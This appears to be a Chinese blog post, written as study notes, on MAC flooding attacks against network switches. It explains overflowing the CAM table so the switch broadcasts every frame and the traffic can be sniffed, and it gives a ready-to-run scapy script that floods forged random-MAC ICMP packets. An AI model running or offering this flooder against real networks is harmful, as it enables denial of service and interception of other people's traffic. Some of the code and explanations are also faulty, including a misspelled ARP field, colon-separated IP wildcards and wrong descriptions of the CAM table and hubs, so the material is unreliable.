python电脑攻击_python实现MAC洪水攻击

前言:一般交换机在数据转发过程中,依靠对CAM表的查询来确定正确的转发接口,如果在CAM表中查询不到,则将该数据帧作为广播帧处理,CAM表存储数量有限,当数据到达上限之后将不会存储。根据此原理,可以通过在刷新时间内对其发送足够多的不同MAC地址的伪造数据包来占用CAM表,这种情况下,所有经过交换机的数据帧都会被作为广播帧处理,然后就可以获取到所有经过交换机的正常数据帧,并且交换机模式会降为Hub模式。交换机降级到Hub模式后我们就可以监听所有链接到该交换机的数据了。

实现:

第一步:构造随机MAC和IP,scapy模块中的RandMAC()和RandIP()可以很方便实现这一点,也可以生成固定网段IP,RandIP("192.168.1.*")

第二步:数据包中包含制定的源IP和MAC,那么交换机就会记录,例如ARP包:

Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2,scr="0.0.0.0",hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18)

或者ICMP包:

Ether(src=RandMAC("*:*:*:*:*:*"),dst=RandMAC("*:*:*:*:*:*"))/IP(src=RandIP("*:*:*:*"),dst=RandIP("*:*:*:*"))/ICMP()

接下来完整代码:

#!/usr/bin/python

import sys

from scapy.all import *

import time

iface="eth0"

if len(sys.argv)>=2:

iface=sys.argv[1]

while(1):

packet=

Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / \

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / \

ICMP()

time.sleep(0.5)

sendp(packet,iface=iface,loop=0)

名词解释:CAM表-类似于电脑的ARP缓存表,路由器进行快速转发功能读取的一张缓存表.

Hub模式:第二层(数据链路层),也叫做集线器。

说明:本文参考微信公众号:玄魂工作室推送python系列文章所做的学习笔记

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值